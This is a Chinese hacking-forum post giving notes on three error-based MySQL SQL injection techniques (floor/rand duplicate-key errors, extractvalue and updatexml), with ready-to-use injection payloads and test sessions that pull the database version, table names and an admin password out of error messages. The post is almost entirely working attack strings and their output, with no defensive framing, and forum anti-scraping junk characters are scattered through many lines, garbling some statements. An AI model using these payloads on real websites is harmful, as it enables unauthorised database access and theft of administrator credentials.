找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2717|回复: 0
打印 上一主题 下一主题

关于Mysql注入过程中的三种报错方式

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-10 10:28:51 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
放点原来的笔记,Mysql在执行语句的时候会抛出异常信息信息,而php+mysql架构的网站往往又将错误代码显示在页面上,这样可以通过构造如下三种方法获取特定数据。
7 z5 _2 b3 l2 X# v实际测试环境:  [/ u. x% M! v
​
9 ~6 j: o( _' y0 ? ; E, e( \5 @; f! D: P) [5 E
mysql> show tables;3 Y. S9 @! v7 `5 T7 u+ Q
+----------------+0 R# r- Y4 h* S
| Tables_in_test |* |. D1 y  t: d# T; `
+----------------+( H# j! j" c( }3 k+ I2 P
| admin          |
7 k0 Y* |, ?6 V/ b% U# _' [| article        |
0 s- i9 _( J6 b+----------------+
; }6 x0 T9 `5 _$ h: l( M
) @6 Z- @' W' D0 U3 T# b1 C
: q* A0 X! f8 x/ q7 |& i
! l' X9 k+ r9 Q6 `& Smysql> describe admin;9 |$ ^3 b& }, d8 m
+-------+------------------+------+-----+---------+----------------+7 t: S: T& U6 V* h: H! h
| Field | Type             | Null | Key | Default | Extra          |' x* ^! ~3 Y5 q# y" j  Z+ r' u0 V/ j
+-------+------------------+------+-----+---------+----------------+
: V( y. ?* b$ f| id    | int(10) unsigned | NO   | PRI | NULL    | auto_increment |% A! u4 F  R" w+ Z+ ~6 @( q8 v
| user  | varchar(50)      | NO   |     | NULL    |                |
, ]+ i0 ?8 ^6 p. Q, f| pass  | varchar(50)      | NO   |     | NULL    |                |
7 d+ z- L- B1 q+-------+------------------+------+-----+---------+----------------+% o# U. B! N4 k9 z8 v( T

0 i& ~: e) t! @8 B
$ K7 n4 n1 u1 x1 }
" p% q1 n0 o: s) J6 t) S2 Dmysql> describe article;8 }  N& G  x& V) I/ Y4 @
+---------+------------------+------+-----+---------+----------------+
2 {6 h+ U" [" g5 x+ k5 C| Field   | Type             | Null | Key | Default | Extra          |- O4 r5 G% U8 h! d5 P, N
+---------+------------------+------+-----+---------+----------------+
: A  T  z1 @/ l1 l1 ]) [  t  g| id      | int(10) unsigned | NO   | PRI | NULL    | auto_increment |  m  ]% ^5 L2 |  P: h, a7 J1 a3 O
| title   | varchar(50)      | NO   |     | NULL    |                |( ]2 y0 l7 G' g0 F& M: M- j! W1 H
| content | varchar(50)      | NO   |     | NULL    |                |; m& A7 B- i+ J
+---------+------------------+------+-----+---------+----------------+5 z& i0 v- z+ ]4 C
1、通过floor报错
$ Q) u7 x1 H9 u' H可以通过如下一些利用代码' F- i5 c; o0 a4 v, W; d

/ z4 \7 b' [" p % j1 n0 t0 q" p8 c( ?% F$ H
and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x9 H' }: _; Z+ i
from information_schema.tables group by x)a);. @( V6 C. u( W0 G! P  u7 p
# d3 \! Q' L! a1 b: @7 p( Q+ E) n
; E9 J' @: Z7 X9 m, q& {- R0 o
and (select count(*) from (select 1 union select null union select !1)x: p  v! I% B% |3 a' u' o
group by concat((select table_name from information_schema.tables limit 1),
1 m! J* k* n7 B" F* P  Ifloor(rand(0)*2)));( P8 h$ f: p; r; N8 Z) j
举例如下:
' i& v  h9 n! L3 z7 C; ~4 x首先进行正常查询:
2 u# _/ j' S9 e0 F% y/ ~' ?
2 r0 [3 q" ^5 X6 A  vmysql> select * from article where id = 1;
7 h- R3 }& B, R! V" b; V* Y: y+----+-------+---------+  y# k0 `% j/ {+ g+ B, X
| id | title | content |( l$ ~* J' z! d" ~
+----+-------+---------+, ?8 t' P6 ]. v1 S2 K7 X
|  1 | test  | do it   |3 R' g# S4 P8 _0 X
+----+-------+---------+: Y( \' A- r7 W: ^( m9 ]8 _/ Q4 z
假如id输入存在注入的话,可以通过如下语句进行报错。
$ ^# R) d" a4 f3 q
, L% U) H3 o2 [+ X1 h: L8 n0 j / h/ G7 N5 u' ~4 }5 v# ~+ f  h& K6 B
mysql> select * from article where id = 1 and (select 1 from4 @5 T) R+ E* }9 q" n
(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);# |- k# v, B+ c  y, J% |
ERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'
  Y6 r5 ^: U2 w& a) A可以看到成功爆出了Mysql的版本,如果需要查询其他数据,可以通过修改version()所在位置语句进行查询。
9 X. v7 a% I' g1 P+ Y例如我们需要查询管理员用户名和密码:
; r+ {3 Z% E: ]3 p7 zMethod1:: V4 E% j' B6 D  H7 z

( c# \$ e" j$ y0 |0 O  w) t" G: u& E
; A/ A$ D' `1 i- X4 Wmysql> select * from article where id = 1 and (select 1 from1 |  `* P4 q$ I& K" s+ l5 o
(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x
; a1 P3 S' b# p& X' _5 Jfrom information_schema.tables group by x)a);
; z# l+ U. p+ ~4 J3 }/ rERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'+ O5 O" L. j7 a! S1 s" Z
Method2:
. J  w8 x+ `- u" ]/ A, ? 3 `* e5 s7 a! |! y

& t) L/ }# v: D$ I$ J/ gmysql> select * from article where id = 1 and (select count(*)) ^9 i7 q9 p) a8 x% g% A1 p& L2 }
from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),* B  c' Y; W" W
floor(rand(0)*2)));
% p, @1 M* s2 d7 wERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
% r9 E' Z. j- t) r7 B" v2、ExtractValue+ t( z- m+ x  K; v
测试语句如下
0 ]" R' g9 w' Z! v1 |8 g ) s! o- Y! R. @- L, Z. ]

# R; l$ k' J3 n* I6 zand extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));$ }! F$ B$ l2 M; [9 X
实际测试过程, }' @# m' f% i! b

9 u: l6 f% K, E7 V, J4 ^9 w  p
0 ]8 d# [( F# u( Q3 k; |( Amysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,
& P2 y/ a" P$ P5 h, W! ]6 x  n9 r(select pass from admin limit 1)));--
) D& T9 N3 c2 h% I; }ERROR 1105 (HY000): XPATH syntax error: '\admin888'4 H" `( A8 q' |' [! b# Z1 e+ i
3、UpdateXml/ E( ?7 H1 F) k8 I5 \2 K2 P' X4 m1 ~
测试语句
9 k" O) w) N3 h8 I. u( e
3 f, T5 s0 L, t1 v1 V
* K4 {( W# X- O- ~0 |) r3 h! tand 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))
$ ?  N& l1 l  h% f; y/ C实际测试过程* U$ I- W! M6 s7 W# i, P9 r1 q6 t

# m3 G; ~# i5 H# L4 w# l4 V 5 I3 w$ Q. h: O  \! ]: y" H6 z2 _
mysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,
% ?6 i; L" b; d' `% _(select pass from admin limit 1),0x5e24),1));- K: |; ~) \* I9 U! N0 i7 y
ERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'
$ ], E" N# I4 @" I$ [. mAll, thanks foreign guys.
# T# c8 {1 v9 p: r) V " W; o! g) j, h! q! ^
​
- f8 C) e3 b7 A. s* D5 }# s7 b
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表